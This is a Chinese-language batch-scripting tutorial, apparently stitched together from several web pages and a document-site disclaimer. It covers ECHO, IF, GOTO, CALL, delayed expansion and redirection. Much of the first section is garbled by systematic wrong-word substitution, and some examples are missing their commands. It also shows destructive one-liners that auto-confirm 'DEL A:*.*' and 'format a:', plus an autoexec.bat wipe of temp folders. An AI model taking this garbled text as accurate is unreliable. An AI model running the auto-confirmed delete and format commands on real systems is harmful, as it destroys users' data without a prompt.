ON,提醒符才会从新消失.(5)输出空行,即相当于输入一个回车格局:ECHO.值得留意的是敕令行中的“.”要紧跟在ECHO后面中央不克不及有空格,不然“.”将被当作提醒信息输出到屏幕.别的“.”可以用,:;”/[\]+等任一符号替代.敕令ECHO.输出的回车,经DOS管道转向可以作为其它敕令的输入,比方echo.|time即相当于在TIME敕令履行后给出一个回车.所以履行时体系会在显示当前时光后,主动返回到DOS提醒符状况(6)答复敕令中的提问格局:ECHO 答复语|敕令文件名上述格局可以用于简化一些须要人机对话的敕令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操纵,它是经由过程DOS管道敕令把ECHO敕令输出的预置答复语作为人机对话敕令的输入.下面的例子就相当于在挪用的敕令消失人机对话时输入“Y”回车:C:>ECHO Y|CHKDSK/FC:>ECHO Y|DEL A :*.*(7)树立新文件或增长文件内容格局:ECHO 文件内容>文件名ECHO 文件内容>>文件名例如:@ECHO OFFC:\CPAV\BOOTSAFE(8)向打印机输出打印内容或打印掌握码格局:ECHO 打印机掌握码>;PRNECHO 打印内容>;PRN下面的例子是向M-1724打印机输入打印掌握码.<Alt>156是按住Alt键在小键盘键入156,相似情形依此类推:C:>ECHO +156+42+116>;PRN(输入下划线敕令FS*t)C:>ECHO [email=+155@]+155@>;PRN[/email](输入初始化敕令ESC@)C:>ECHO.>;PRN(换行)(9)使喇叭鸣响C:>ECHO ^G“^G”是在dos窗口顶用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响.应用办法是直接将其参加批处理文件中或做成批处理文件挪用.这里的“^G”属于特别符号的应用,请看本文后面的章节3.PAUSEPAUSE,玩游戏的人都知道,暂停的意思在这里就是停滞体系敕令的履行并显示下面的内容.例:PAUSE运行显示:请按随意率性键持续. . .要显示其他提醒语,可以如许用:Echo 其他提醒语 & pause > nul4.errorlevel程序返回码echo %errorlevel%每个敕令运行停滞,可以用这个敕令行格局检讨返回码用于断定适才的敕令是否履行成功默认值为0,一般敕令履行出错会设 errorlevel 为15.title设置cmd窗口的标题title 新标题#可以看到cmd窗口的标题栏变了6.COLOR设置默认的掌握台远景和布景色彩.COLOR [attr]attr 指定掌握台输出的色彩属性色彩属性由两个十六进制数字指定 -- 第一个为布景,第二个则为远景.每个数字可认为以下任何值之一:0 = 黑色 8 = 灰色1 = 蓝色 9 = 淡蓝色2 = 绿色 A = 淡绿色3 = 湖蓝色 B = 淡浅绿色4 = 红色 C = 淡红色5 = 紫色 D = 淡紫色6 = 黄色 E = 淡黄色7 = 白色 F = 亮白色假如没有给定任何参数,该敕令会将色彩还原到 CMD.EXE 启动时的色彩.这个值来自当前掌握台窗口./T 开关或DefaultColor 注册表值.假如用雷同的远景和布景色彩来履行 COLOR 敕令,COLOR 敕令会将 ERRORLEVEL 设置为 1.例如: "COLOR fc" 在亮白色上产生亮红色7.mode 设置装备摆设体系装备设置装备摆设体系装备.串行口:MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s][to=on|off] [xon=on|off] [odsr=on|off][octs=on|off] [dtr=on|off|hs][rts=on|off|hs |tg] [idsr=on|off]装备状况: MODE [device] [/STATUS]打印重定向: MODE LPTn[:]=COMm[:]选定代码页: MODE CON[:] CP SELECT=yyy代码页状况: MODE CON[:] CP [/STATUS]显示模式: MODE CON[:] [COLS=c] [LINES=n]击键率: MODE CON[:] [RATE=r DELAY=d]例:mode con cols=113 lines=15 & color 9f此敕令设置DOS窗口大小:15行,113列8.GOTO 和 :GOTO会点编程的同伙就会知道这是跳转的意思.在批处理中许可以“:XXX”来构建一个标号,然后用GOTO XXX跳转到标号:XXX 处,然后履行标号后的敕令.例:if {%1}=={} goto noparmsif "%2"=="" goto noparms标签的名字可以随意起,但是最好是有意义的字符串啦,前加个冒号用来暗示这个字符串是标签,goto敕令就是依据这个冒号(:)来查找下一步跳到到那边.最好有一些解释如许你他人看起来才会懂得你的意图啊.例:@echo off:startset /a var+=1echo %var%if %var% leq 3 GOTO startpause运行显示:123410.start 敕令批处理中挪用外部程序的敕令(该外部程序在新窗口中运行,批处理程序持续往下履行,不睬会外部程序的运行状况),假如直接运行外部程序则必须等外部程序完成后才持续履行剩下的指令例:start explorer d:\挪用图形界面打开D盘11.assoc 和 ftype文件联系关系assoc 设置'文件扩大名'联系关系,联系关系到'文件类型'ftype 设置'文件类型'联系关系,联系关系到'履行程序和参数'当你双击一个.txt文件时,windows其实不是依据.txt直接断定用notepad.exe 打开而是先断定.txt属于 txtfile '文件类型'再挪用txtfile 联系关系的敕令行txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1可以在"文件夹选项"→"文件类型"里修正这2种联系关系assoc #显示所有'文件扩大名'联系关系assoc .txt #显示.txt代表的'文件类型',成果显示 .txt=txtfile assoc .exe #显示.exe代表的'文件类型',成果显示 .exe=exefile ftype #显示所有'文件类型'联系关系ftype exefile #显示exefile类型联系关系的敕令行,成果显示exefile="%1" %*assoc .txt=txtfileftype exefile="%1" %*恢复 exefile 的准确联系关系假如该联系关系已经被损坏,可以运行 ,再输入这条敕令12.pushd 和 popd切换当前目次@echo offc: & cd\ & md mp3 #在 C:\ 树立 mp3 文件夹md d:\mp4 #在 D:\ 树立 mp4 文件夹cd /d d:\mp4 #更改当前目次为 d:\mp4pushd c:\mp3 #保管当前目次,并切换当前目次为c:\mp3popd #恢复当前目次为适才保管的d:\mp4一般用途不大,在当前目次名不确准时,会有点帮忙.(dos编程中很有效)13.CALLCALL敕令可以在批处理履行进程中挪用另一个批处理,当另一个批处理履行完后,再持续履行本来的批处理CALL command挪用一条批处理敕令,和直接履行敕令后果一样,特别情形下很有效,比方变量的多级嵌套,赐教程后面.在批处理编程中,可以依据必定前提生成敕令字符串,用call可以履行该字符串,见例子.CALL [drive:][path]filename [batch-parameters]挪用的其它批处理程序.filename 参数必须具有 .bat 或 .cmd 扩大名. CALL :label arguments挪用本文件内敕令段,相当于子程序.被挪用的敕令段以标签:label开首以敕令goto :eof结尾.别的,批剧本文本参数参照(%0.%1.等等)已如下改变:批剧本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)批参数(%n)的替代已被加强.您可以应用以下语法:(看不明确的直接运行后面的例子)%~1 - 删除引号("),扩充 %1%~f1 - 将 %1 扩充到一个完全及格的路径名%~d1 - 仅将 %1 扩充到一个驱动器号%~p1 - 仅将 %1 扩充到一个路径%~n1 - 仅将 %1 扩充到一个文件名%~x1 - 仅将 %1 扩充到一个文件扩大名%~s1 - 扩充的路径指含有短名%~a1 - 将 %1 扩充到文件属性%~t1 - 将 %1 扩充到文件的日期/时光%~z1 - 将 %1 扩充到文件的大小%~$PATH : 1 - 查找列在 PATH 情形变量的目次,并将 %1扩充到找到的第一个完全及格的名称.假如情形变量名未被界说,或者没有找到文件,此组合键会扩充到空字符串可以组合修定符来取得多重成果:%~dp1 - 只将 %1 扩大到驱动器号和路径%~nx1 - 只将 %1 扩大到文件名和扩大名%~dp$PATH:1 - 在列在 PATH 情形变量中的目次里查找 %1,并扩大到找到的第一个文件的驱动器号和路径.%~ftza1 - 将 %1 扩大到相似 DIR 的输出行.在上面的例子中,%1 和 PATH 可以被其他有效数值调换.%~ 语法被一个有效参数号码终止.%~ 修定符不克不及跟 %*应用留意:参数扩充时不睬会参数所代表的文件是否真实消失,均以当前目次进行扩大要懂得上面的常识,下面的例子很症结.例:@echo offRem 下行先保管当前目次,再将c:\windows设为当前目次pushd c:\windowsRem 下行恢复上次的当前目次Popdpauseexit:subEcho 删除引号: %~1Echo 扩充到路径: %~f1Echo 扩充到一个驱动器号: %~d1Echo 扩充到一个路径: %~p1Echo 扩充到一个文件名: %~n1Echo 扩充到一个文件扩大名: %~x1Echo 扩充的路径指含有短名: %~s1Echo 扩充到文件属性: %~a1Echo 扩充到文件的日期/时光: %~t1Echo 扩充到文件的大小: %~z1Echo 扩大到驱动器号和路径:%~dp1Echo 扩大到文件名和扩大名:%~nx1Echo 扩大到相似 DIR 的输出行:%~ftza1Echo.Goto :eof例:set aa=123456set cmdstr=echo %aa%call %cmdstr%pause本例中假如不必call,而直接运行%cmdstr%,将显示成果%aa%,而不是123456 14.shift更改批处理文件中可调换参数的地位.SHIFT [/n]假如敕令扩大名被启用,SHIFT 敕令支撑/n 敕令行开关;该敕令行开关告知敕令从第 n 个参数开端移位;n 介于零和八之间.例如:SHIFT /2会将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影响 %0 和 %1.15.IFIF 前提断定语句,语法格局如下:IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command下面一一介绍,更具体的剖析请看后面章节.(1) IF [NOT] ERRORLEVEL number commandIF ERRORLEVEL这个句子必须放在某一个敕令的后面,履行敕令后由IF ERRORLEVEL 来判毕敕令的返回值.Number的数字取值规模0~255,断定时价的分列次序应当由大到小.返回的值大于等于指定的值时,前提成立例:@echo offdir c:rem退出代码为>=1就跳至标题1处履行,>=0就跳至标题0处履行IF ERRORLEVEL 1 goto 1IF ERRORLEVEL 0 goto 0Rem 上面的两行不成交流地位,不然掉败了也显示成功.:0echo 敕令履行成功!Rem 程序履行完毕跳至标题exit处退出goto exit:1echo 敕令履行掉败!Rem 程序履行完毕跳至标题exit处退出goto exit:exitpause运行显示:敕令履行成功!(2) IF [NOT] string1==string2 commandstring1和string2都为字符的数据,英文内字符的大小写将看作不合,这个前提中的等于号必须是两个(绝对相等的意思)前提相等后即履行后面的command检测当前变量的值做出断定,为了防止字符串中含有空格,可用以下格局if [NOT] {string1}=={string2} commandif [NOT] [string1]==[string2] commandif [NOT] "string1"=="string2" command这种写法现实大将括号或引号当成字符串的一部分了,只要等号阁下双方一致就行了,比方下面的写法就不成:if {string1}==[string2] command(3) IF [NOT] EXIST filename commandEXIST filename为文件或目次消失的意思echo offIF EXIST autoexec.bat echo 文件消失!IF not EXIST autoexec.bat echo 文件不消失!这个批处理大家可以放在C盘和D盘分离履行,看看后果16.setlocal 与变量延迟本条内容引用[豪杰出品]的批处理教程:要想进阶,变量延迟是必过的一关!所以这一部分愿望你能卖力看.为了更好的解释问题,我们先引入一个例子.例1:@echo offset a=4set a=5 & echo %a%pause成果:4讲解:为什么是4而不是5呢?在echo之前明明已经把变量a的值改成5了?让我们先懂得一下批处理运行敕令的机制:批处理读取敕令时是按行读取的(别的例如for敕令等,厥后用一对圆括号闭合的所有语句也当作一行),在处理之前要完成须要的预处理工作,这个中就包含对该行敕令中的变量赋值.我们如今剖析一下例1,批处理在运行到这句“set a=5 & echo %a%”之前,先把这一句整句读取并做了预处理——对变量a赋了值,那么%a%当然就是4了!(没有为什么,批处理就是如许做的.)而为了可以或许感知情形变量的动态变更,批处理设计了变量延迟.简略来说,在读取了一条完全的语句之后,不立刻对该行的变量赋值,而会在某个单条语句履行之前再进行赋值,也就是说“延迟”了对变量的赋值.那么若何开启变量延迟呢?变量延迟又须要留意什么呢?举个例子解释一下:例2:@echo offsetlocal enabledelayedexpansionset a=4set a=5 & echo !a!pause成果:5讲解:启动了变量延迟,得到了准确答案.变量延迟的启动语句是“setlocalenabledelayedexpansion”,并且变量要用一对叹号“!!”括起来(留意要用英文的叹号),不然就没有变量延迟的后果.剖析一下例2,起首“setlocal enabledelayedexpansion”开启变量延迟,然后“set a=4”先给变量a赋值为4,“set a=5 & echo !a!”这句是给变量a赋值为5并输出(因为启动了变量延迟,所以批处理可以或许感知到动态变更,即不是先给该行变量赋值,而是在运行进程中给变量赋值,是以此时a的值就是5了).再举一个例子巩固一下.例3:@echo offsetlocal enabledelayedexpansionfor /l %%i in (1,1,5) do (set a=%%iecho !a!)pause成果:12345讲解:本例开启了变量延迟并用“!!”将变量扩起来,是以得到我们预期的成果.假如不必变量延迟会消失什么成果呢?成果是如许的:ECHO 处于封闭状况.ECHO 处于封闭状况.ECHO 处于封闭状况.ECHO 处于封闭状况.ECHO 处于封闭状况.即没有感知到for语句中的动态变更.提醒:在没有开启变量延迟的情形下,某条敕令行中的变量改变,必须到下一条敕令才干表现.这一点也可以加以应用,看例子.例:交流两个变量的值,且不必中央变量@echo off::目标:交流两个变量的值,但是不应用暂时变量::Code by JM 2007-1-24 [email=CMD@XP]CMD@XP[/email]::出处:set var1=abcset var2=123echo 交流前: var1=%var1% var2=%var2%set var1=%var2%& set var2=%var1%echo 交流后: var1=%var1% var2=%var2%pause17.ATTRIB 显示或更改文件属性ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[drive:] [path] filename] [/S [/D]]+ 设置属性.- 消除属性.R 只读文件属性.A 存档文件属性.S 体系文件属性.H 隐蔽文件属性.[drive:][path][filename]指定要处理的文件属性./S 处应当前文件夹及其子文件夹中的匹配文件./D 也处理文件夹.例:md autorunattrib +a +s +h autorun上面的敕令将树立文件夹autorun,然后将其设为存档.体系.隐蔽属性第二节经常应用特别符号1.@ 敕令行回显屏障符2.% 批处理变量引诱符3.> 重定向符4.>> 重定向符5.<.>&.<& 重定向符6.| 敕令管道符7.^ 转义字符8.& 组合敕令9.&& 组合敕令10.|| 组合敕令11."" 字符串界定符12., 逗号13.; 分号14.() 括号15.! 感慨号16.批处理中可能会面到的其它特别标识表记标帜符: (略)CR(0D) 敕令行停滞符Escape(1B) ANSI转义字符引诱符Space(20) 经常应用的参数界定符Tab(09) ; = 不经常应用的参数界定符+ COPY敕令文件衔接符* ? 文件通配符/ 参数开关引诱符: 批处理标签引诱符废话少说,开讲了1.@ 敕令行回显屏障符这个字符在批处理中的意思是封闭当前行的回显.我们从前几课知道ECHO OFF可以封闭掉落全部批处理敕令的回显,但不克不及关掉落ECHO OFF 这个敕令,如今我们在ECHO OFF这个敕令前加个@,就可以达到所有敕令均不回显的请求2.% 批处理变量引诱符这个百分号严厉来说是算不上敕令的,它只是批处理中的参数罢了(多个%一路应用的情形除外,今后还将具体介绍).引用变量用%var%,挪用程序外部参数用%1至%9等等%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*为敕令行传递给批处理的参数%0 批处理文件本身,包含完全的路径和扩大名%1 第一个参数%9 第九个参数%* 从第一个参数开端的所有参数参数%0具有特别的功效,可以挪用批处理自身,以达到批处理本身轮回的目标,也可以复制文件自身等等.例:最简略的复制文件自身的办法小技能:添加行内注释%注释内容%(可以用作行内注释,不克不及消失重定向符号和管道符号)为什么如许呢?此时“注释内容”其实被当作变量,其值是空的,故只起注释感化,不过这种用法轻易消失语法错误,一般不必.3.> 重定向符输出重定向敕令这个字符的意思是传递并且笼罩,他所起的感化是将运行的成果传递到后面的规模(后边可所以文件,也可所以默认的体系掌握台)在NT系列敕令行中,重定向的感化规模由全部敕令行改变成单个敕令语句,受到了敕令分隔符&,&&,||和语句块的制约限制.比方:应用敕令:echo hello >1.txt将树立文件1.txt,内容为”hello “(留意行尾有一空格)应用敕令:echo hello>1.txt将树立文件1.txt,内容为”hello“(留意行尾没有空格)4.>> 重定向符输出重定向敕令这个符号的感化和>有点相似,但他们的差别是>>是传递并在文件的末尾追加,而>是笼罩用法同上应用敕令:这时刻1.txt 内容如下:helloworld5.<.>&.<& 重定向符这三个敕令也是管道敕令,但它们一般不经常应用,你只须要知道一下就ok了,当然假如想细心研讨的话,可以本身查一下材料.(本身已查过,网上也查不到相干材料)<,输入重定向敕令,从文件中读入敕令输入,而不是从键盘中读入.@echo off如许就可以不等待输入直接修正当前日期>&,将一个句柄的输出写入到另一个句柄的输入中.<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中.经常应用句柄:0.1.2,未界说句柄:3—91>nul 暗示制止输出准确的信息2>nul 暗示制止输出错误信息.个中的1与2都是代表某个数据流输入输出的地址(NT CMD 称之为句柄,MSDOS称之为装备).句柄0:尺度输入stdin,键盘输入句柄1:尺度输出stdout,输出到敕令提醒符窗口(console,代码为CON)句柄2:尺度错误stderr,输出到敕令提醒符窗口(console,代码为CON)个中的stdin可被<重定向,stdout可被>.>>重定向.我们已经知道读取文本中的内容可以用for敕令,但假如只须要读取第一行用for敕令就有点麻烦.简略的办法如下:@echo offset /p str=<%0echo %str%pause运行显示批处理文件自身的第一行:@echo off6.| 敕令管道符格局:第一条敕令 | 第二条敕令 [| 第三条敕令...]将第一条敕令的成果作为第二条敕令的参数来应用,记得在unix中这种方法很罕有.例如:dir c:\|find "txt"以上敕令是:查找C:\所有,并发明TXT字符串.FIND的功效请用 FIND /? 自行检讨在不使format的主动格局化参数时,我是如许来主动格局化A盘的echo y|format a: /s /q /v:system用过format的都知道,再格盘时要输入y来确认是否格盘,这个敕令前加上echo y并用|字符来将echo y的成果传给format敕令从而达到主动输入y的目标(这条敕令有伤害性,测试时请郑重)7.^ 转义字符^是对特别符号<,>,&的前导字符,在敕令中他将以上3个符号的特别功效去掉落,仅仅只把他们当成符号而不应用他们的特别意义.比方他没有追加在1.txt里,呵呵.只是显示了出来别的,此转义字符还可以用作续行符号.举个简略的例子:@echo offecho 豪杰^是^好^汉子pause不必多说,本身试一下就明确了.为什么转义字符放在行尾可以起到续行符的感化呢?原因很简略,因为每行末尾还有一个看不见的符号,即回车符,转义字符位于行尾时就让回车符掉效了,从而起到了续行的感化.8.& 组合敕令。
批处理入门教程
批处理教程 第一节常用批处理内部命令简介 批处理本质:是一堆DOS命令按一定顺序排列而形成的集合。
批处理的作用就是自动的连续执行多条命令,批处理,也称为批处理脚本,英文译为BATCH。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。
一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中。
首先,批处理文件是一个文本文件,文件的每一行都是一条DOS命令。
其次,批处理文件是一种简单的程序,通过(if)和制语句(goto)来控制命令运行的流程。
第三,编写好的批处理文件都相当于一个DOS的外部命令,可以在任何位置调用运行。
第四,在DOS和Win9x/Me系统下,C:\AUTOEXEC.BAT是启动计算机自动运行的。
介绍命令1、REM和 :: REM为注释命令,可以回显,::不回显,简洁有效亦可加快运行速度。
第一、任何以冒号开头的字符行,在批处理中都被视作标号,而直接忽略其后的所有内容。
有效标号:冒号后紧跟一个以字母数字开头的字符串,goto语句可以识别。
无效标号:冒号后紧跟一个非字母数字的一个特殊符号,goto无法识别的标号,可以起到注释作用,所以"::"常被用作注释符号,其实:+也可起注释作用。
第二、rem在某些场合下将比::更为适用;另外, rem 可以用于config.sys 文件中。
2、ECHO 和 @@Echo offEcho helloPause运行显示:hello3、PAUSE Echo 其他提示语 & pause > nul(Echo 其他提示语 & pause >>nul效果一样)或者写成以下形式其功能也一样(两行):Echo 其他提示语pause >(>>) nul4、errorlevel程序返回码echo %errorlevel%命令行格式查看返回码判断命令是否成,成功返回"0"5、title 设置cmd窗口的标题: title 新标题6、COLOR 设置默认的控制台前景和背景颜色。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
批处理经典入门教程!(从不懂到高手)例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):代码如下:ping > a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtexit是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。
这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt 文件越来越大(想到如何搞破坏了??)。
By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
例二、再给出一个已经过时的例子(a.bat):@echo offif exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gifa.bat为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。
但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。
这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。
在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。
当然这个脚本占用你一点点内存,呵呵。
例三,使用批处理脚本查是否中冰河。
脚本内容如下:复制代码代码如下:@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txtpause & exit这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。
然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。
这里介绍的只是方法和思路。
这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。
呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。
例四,借批处理自动清除系统垃圾,脚本如下:复制代码代码如下:@echo offif exist c:\windows\temp\*.* del c:\windows\temp\*.*if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*if exist c:\windows\History\*.* del c:\windows\History\*.*if exist c:\windows\recent\*.* del c:\windows\recent\*.*将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。
这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。
如果你知道很难还敢继续的话,I 服了YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。
酸、苦和辣,有没有甜天知道。
为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。
说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。
但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。
这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。
废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。
这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。
陷入爱河的朋友,相信没有不肯定这句话的。
我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情'不是内部或外部命令,也不是可运行的程序或批处理文件。
然后就是光标不停闪动,等待这下一次错误的输入。
从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。
要学好批处理,DOS一定要有比较扎实的基础。
这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。
例五,先看一个实例。
这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。
先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。
如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。
看看脚本内容:复制代码代码如下:@echo off::close echocls::clean screenecho This programme is to make the MASM programme automate::display infoecho Edit by CODERED::display infoecho Mailto me : qqkiller***@::display infoif "%1"=="" goto usage::if input without paramater goto usageif "%1"=="/?" goto usage::if paramater is "/?" goto usageif "%1"=="help" goto usage::if paramater is "help" goto usagepause::pause to see usagemasm %1.asm::assemble the .asm codeif errorlevel 1 pause & edit %1.asm::if error pause to see error msg and edit the codelink %1.obj & %1::else link the .obj file and execute the .exe file:usage::set usageecho Usage: This BAT file name [asm file name]echo Default BAT file name is START.BAT::display usage先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。
已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。
倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。
此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。
使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。
另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。
正在学汇编的朋友,一定别忘了实习一下!在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。
而这一章就将讲述这几个命令。
1、@这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。